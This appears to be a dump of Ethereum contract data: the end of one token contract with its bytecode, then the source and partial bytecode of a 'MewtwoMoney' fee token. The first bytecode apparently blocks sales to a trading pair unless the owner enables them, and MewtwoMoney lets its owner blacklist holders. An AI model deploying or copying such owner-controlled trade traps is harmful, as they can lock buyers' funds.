function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a70ff5f111610071578063a70ff5f114610240578063a9059cbb14610253578063dd62ed3e14610266578063f242ab411461029f578063f2fde38b146102b257600080fd5b8063715018a61461020a5780638da5cb5b1461021457806395d89b4114610225578063a457c2d71461022d57600080fd5b80631e8c811a116100e95780631e8c811a1461019957806323b872dd146101a6578063313ce567146101b957806339509351146101ce57806370a08231146101e157600080fd5b806306fdde031461011b5780630758d92414610139578063095ea7b31461016457806318160ddd14610187575b600080fd5b6101236102c5565b6040516101309190610aad565b60405180910390f35b60035461014c906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b610177610172366004610b1e565b610357565b6040519015158152602001610130565b6008545b604051908152602001610130565b6009546101779060ff1681565b6101776101b4366004610b48565b61036e565b60075460405160ff9091168152602001610130565b6101776101dc366004610b1e565b61041a565b61018b6101ef366004610b84565b6001600160a01b031660009081526001602052604090205490565b610212610456565b005b6000546001600160a01b031661014c565b6101236104ca565b61017761023b366004610b1e565b6104d9565b61021261024e366004610b9f565b61056f565b610177610261366004610b1e565b6105ac565b61018b610274366004610bc1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60045461014c906001600160a01b031681565b6102126102c0366004610b84565b6105b9565b6060600580546102d490610bf4565b80601f016020809104026020016040519081016040528092919081815260200182805461030090610bf4565b801561034d5780601f106103225761010080835404028352916020019161034d565b820191906000526020600020905b81548152906001019060200180831161033057829003601f168201915b5050505050905090565b600061036433848461076b565b5060015b92915050565b600061037b84848461088f565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104025760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61040f853385840361076b565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610364918590610451908690610c45565b61076b565b6000546001600160a01b031633146104805760405162461bcd60e51b81526004016103f990610c5d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546102d490610bf4565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602260248201527f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a65604482015261726f60f01b60648201526084016103f9565b610565338585840361076b565b5060019392505050565b6000546001600160a01b031633146105995760405162461bcd60e51b81526004016103f990610c5d565b6009805460ff1916911515919091179055565b600061036433848461088f565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016103f990610c5d565b6001600160a01b0381166106485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000826106b257506000610368565b60006106be8385610c92565b9050826106cb8583610cb1565b146107225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b600061072283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a76565b6001600160a01b0383166107cd5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b03821661082e5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108b55760405162461bcd60e51b81526004016103f990610cd3565b6001600160a01b0382166108db5760405162461bcd60e51b81526004016103f990610cd3565b600081116108fb5760405162461bcd60e51b81526004016103f990610cd3565b60095460ff1615801561091c57506000546001600160a01b03848116911614155b801561093657506000546001600160a01b03838116911614155b15610990576004546001600160a01b03838116911614156109905760405162461bcd60e51b815260206004820152601460248201527320796f752068697420796f7572206c696d69747360601b60448201526064016103f9565b6001600160a01b038316600090815260016020526040902054818110156109e55760405162461bcd60e51b81526020600482015260096024820152684e6f2063616e20646f60b81b60448201526064016103f9565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610a1c908490610c45565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6891815260200190565b60405180910390a350505050565b60008183610a975760405162461bcd60e51b81526004016103f99190610aad565b506000610aa48486610cb1565b95945050505050565b600060208083528351808285015260005b81811015610ada57858101830151858201604001528201610abe565b81811115610aec576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b1957600080fd5b919050565b60008060408385031215610b3157600080fd5b610b3a83610b02565b946020939093013593505050565b600080600060608486031215610b5d57600080fd5b610b6684610b02565b9250610b7460208501610b02565b9150604084013590509250925092565b600060208284031215610b9657600080fd5b61072282610b02565b600060208284031215610bb157600080fd5b8135801515811461072257600080fd5b60008060408385031215610bd457600080fd5b610bdd83610b02565b9150610beb60208401610b02565b90509250929050565b600181811c90821680610c0857607f821691505b60208210811415610c2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610c5857610c58610c2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610cac57610cac610c2f565b500290565b600082610cce57634e487b7160e01b600052601260045260246000fd5b500490565b6020808252600f908201526e5472616e7366657220636f6d696e6760881b60408201526060019056fea2646970667358221220aaa9543c8c11468b0dc9bbca47ee7e05d035562d20b9bac5c165367bc5f9ac2564736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 5,743 |
0xcaa03b0445abe83cd5d70dae2b14a4c374420885
|
/**
Welcome to MewtwoMoney, the preferred cryptocurrency of the most powerful Pokemon in the universe.
t.me/MewtwoMoney
*/
// SPDX-License-Identifier: None
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MewtwoMoney is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MewtwoMoney";
string private constant _symbol = "$MEWTWO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (8 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a35565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ed6565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e91906129f9565b6105ad565b6040516101a09190612ebb565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613078565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129aa565b6105db565b6040516102089190612ebb565b60405180910390f35b34801561021d57600080fd5b506102266106b4565b005b34801561023457600080fd5b5061023d610c0e565b60405161024a91906130ed565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a76565b610c17565b005b34801561028857600080fd5b506102a3600480360381019061029e919061291c565b610cc9565b005b3480156102b157600080fd5b506102ba610db9565b005b3480156102c857600080fd5b506102e360048036038101906102de919061291c565b610e2b565b6040516102f09190613078565b60405180910390f35b34801561030557600080fd5b5061030e610e7c565b005b34801561031c57600080fd5b50610325610fcf565b6040516103329190612ded565b60405180910390f35b34801561034757600080fd5b50610350610ff8565b60405161035d9190612ed6565b60405180910390f35b34801561037257600080fd5b5061038d600480360381019061038891906129f9565b611035565b60405161039a9190612ebb565b60405180910390f35b3480156103af57600080fd5b506103b8611053565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ac8565b6110cd565b005b3480156103ef57600080fd5b5061040a6004803603810190610405919061296e565b611215565b6040516104179190613078565b60405180910390f35b61042861129c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fd8565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105649061338e565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f4d657774776f4d6f6e6579000000000000000000000000000000000000000000815250905090565b60006105c16105ba61129c565b84846112a4565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105e884848461146f565b6106a9846105f461129c565b6106a4856040518060600160405280602881526020016137b160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065a61129c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2e9092919063ffffffff16565b6112a4565b600190509392505050565b6106bc61129c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074090612fd8565b60405180910390fd5b600f60149054906101000a900460ff1615610799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079090612f18565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112a4565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086e57600080fd5b505afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a69190612945565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090857600080fd5b505afa15801561091c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109409190612945565b6040518363ffffffff1660e01b815260040161095d929190612e08565b602060405180830381600087803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af9190612945565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3830610e2b565b600080610a43610fcf565b426040518863ffffffff1660e01b8152600401610a6596959493929190612e5a565b6060604051808303818588803b158015610a7e57600080fd5b505af1158015610a92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab79190612af1565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506611c37937e080006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bb8929190612e31565b602060405180830381600087803b158015610bd257600080fd5b505af1158015610be6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0a9190612a9f565b5050565b60006009905090565b610c1f61129c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca390612fd8565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd161129c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590612fd8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfa61129c565b73ffffffffffffffffffffffffffffffffffffffff1614610e1a57600080fd5b6000479050610e2881611c92565b50565b6000610e75600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8d565b9050919050565b610e8461129c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0890612fd8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f244d455754574f00000000000000000000000000000000000000000000000000815250905090565b600061104961104261129c565b848461146f565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109461129c565b73ffffffffffffffffffffffffffffffffffffffff16146110b457600080fd5b60006110bf30610e2b565b90506110ca81611dfb565b50565b6110d561129c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612fd8565b60405180910390fd5b600081116111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c90612f98565b60405180910390fd5b6111d360646111c583670de0b6b3a76400006120f590919063ffffffff16565b61217090919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120a9190613078565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90613038565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612f58565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114629190613078565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d690613018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561154f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154690612ef8565b60405180910390fd5b60008111611592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158990612ff8565b60405180910390fd5b61159a610fcf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160857506115d8610fcf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6b57600f60179054906101000a900460ff161561183b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183a57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178461129c565b73ffffffffffffffffffffffffffffffffffffffff1614806117fa5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e261129c565b73ffffffffffffffffffffffffffffffffffffffff16145b611839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183090613058565b60405180910390fd5b5b5